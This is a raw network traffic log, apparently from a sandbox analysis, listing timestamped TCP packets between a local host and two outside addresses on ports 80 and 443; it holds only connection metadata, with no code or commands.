Dec 20, 2024 04:12:20.431142092 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.431150913 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.431164026 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.431196928 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.431420088 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.431440115 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.431463957 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.431474924 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.431488991 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.431521893 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.431580067 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.432359934 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.432401896 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.432426929 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.432467937 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.433456898 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.433496952 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.433695078 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.433742046 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.434572935 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.434621096 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.434792995 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.434834957 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.435640097 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.435693979 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.435758114 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.435800076 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.436652899 CET	443	49790	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:20.436770916 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.436810017 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.436851978 CET	443	49790	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:20.436883926 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.436919928 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.436917067 CET	49790	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:20.436955929 CET	443	49790	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:20.436983109 CET	443	49790	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:20.437032938 CET	49790	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:20.437068939 CET	443	49790	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:20.437923908 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.437967062 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.438002110 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.438043118 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.438934088 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.438976049 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.439057112 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.439100027 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.440053940 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.440097094 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.440201998 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.440243959 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.441162109 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.441175938 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.441178083 CET	443	49790	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:20.441204071 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.441221952 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.441281080 CET	49790	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:20.441313028 CET	443	49790	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:20.442256927 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.442317009 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.442373037 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.442413092 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.443356037 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.443398952 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.443454027 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.443494081 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.444494009 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.444535017 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.444559097 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.444597960 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.445573092 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.445615053 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.445664883 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.445704937 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.446649075 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.446695089 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.446818113 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.446857929 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.447782040 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.447823048 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.447926998 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.447968006 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.449034929 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.449075937 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.449238062 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.449279070 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.449584007 CET	443	49790	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:20.449650049 CET	49790	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:20.449665070 CET	443	49790	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:20.450020075 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.450063944 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.450185061 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.450225115 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.451179981 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.451195002 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.451220989 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.451231003 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.452210903 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.452224970 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.452251911 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.452260971 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.453344107 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.453397989 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.453459024 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.453499079 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.454436064 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.454478025 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.454536915 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.454577923 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.455516100 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.455557108 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.455620050 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.455661058 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.456598997 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.456640005 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.456693888 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.456736088 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.457715034 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.457730055 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.457755089 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.457767963 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.458769083 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.458811045 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.458900928 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.458941936 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.459988117 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.460001945 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.460028887 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.460040092 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.461070061 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.461092949 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.461114883 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.461126089 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.462161064 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.462204933 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.462224960 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.462266922 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.463248014 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.463289976 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.463373899 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.463432074 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.464320898 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.464364052 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.464390993 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.464432001 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.465435982 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.465450048 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.465476036 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.465487003 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.466512918 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.466558933 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.466584921 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.466624975 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.467595100 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.467641115 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.467715979 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.467756033 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.468718052 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.468763113 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.468827009 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.468868017 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.469815969 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.469857931 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.469930887 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.469975948 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.470896006 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.470937967 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.471076965 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.471117020 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.472060919 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.472109079 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.472166061 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.472208023 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.473112106 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.473154068 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.473249912 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.473294020 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.474200010 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.474256992 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.474312067 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.474354982 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.475331068 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.475388050 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.475452900 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.475497961 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.476434946 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.476475954 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.476543903 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.476586103 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.477495909 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.477538109 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.477605104 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.477647066 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.478569031 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.478610039 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.497978926 CET	49790	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:20.497998953 CET	443	49790	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:20.544994116 CET	49790	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:20.555977106 CET	443	49790	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:20.607357025 CET	49790	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:20.613329887 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.613348961 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.613396883 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.613396883 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.613724947 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.613765001 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.613797903 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.613845110 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.614850044 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.614906073 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.615067005 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.615112066 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.615936041 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.616076946 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.616084099 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.616112947 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.617064953 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.617110968 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.617150068 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.617193937 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.618223906 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.618266106 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.618292093 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.618397951 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.619297028 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.619333982 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.619378090 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.620361090 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.620409012 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.620439053 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.620484114 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.621463060 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.621514082 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.621577978 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.621625900 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.622544050 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.622613907 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.622646093 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.622687101 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.623646975 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.623693943 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.623804092 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.623848915 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.624805927 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.624874115 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.624939919 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.625020027 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.625885963 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.625947952 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.625978947 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.626029015 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.627000093 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.627063990 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.627089977 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.627157927 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.628062010 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.628077984 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.628133059 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.628177881 CET	443	49790	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:20.629178047 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.629228115 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.629312038 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.629355907 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.630307913 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.630367041 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.630392075 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.630558014 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.631356001 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.631407976 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.631571054 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.631616116 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.631865978 CET	443	49790	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:20.631896019 CET	443	49790	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:20.631957054 CET	49790	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:20.631968021 CET	443	49790	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:20.632014036 CET	49790	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:20.632201910 CET	49790	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:20.632232904 CET	443	49790	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:20.632260084 CET	49790	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:20.632275105 CET	443	49790	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:20.632445097 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.632498026 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.632597923 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.632639885 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.633560896 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.633606911 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.633690119 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.633738041 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.634665012 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.634718895 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.634802103 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.634844065 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.635767937 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.635828018 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.635902882 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.635957003 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.636920929 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.636975050 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.637000084 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.637038946 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.637963057 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.638019085 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.638065100 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.638103008 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.639111996 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.639194012 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.639242887 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.640208006 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.640259981 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.640290976 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.640348911 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.641328096 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.641380072 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.641406059 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.641447067 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.642410994 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.642461061 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.642487049 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.642528057 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.643513918 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.643556118 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.643582106 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.643623114 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.644572020 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.644618988 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.644700050 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.644742966 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.645689964 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.645776987 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.645786047 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.645822048 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.646795988 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.646846056 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.646876097 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.646919012 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.647916079 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.647967100 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.647996902 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.648042917 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.648981094 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.649029970 CET	49783	80	192.168.2.4	31.41.244.11
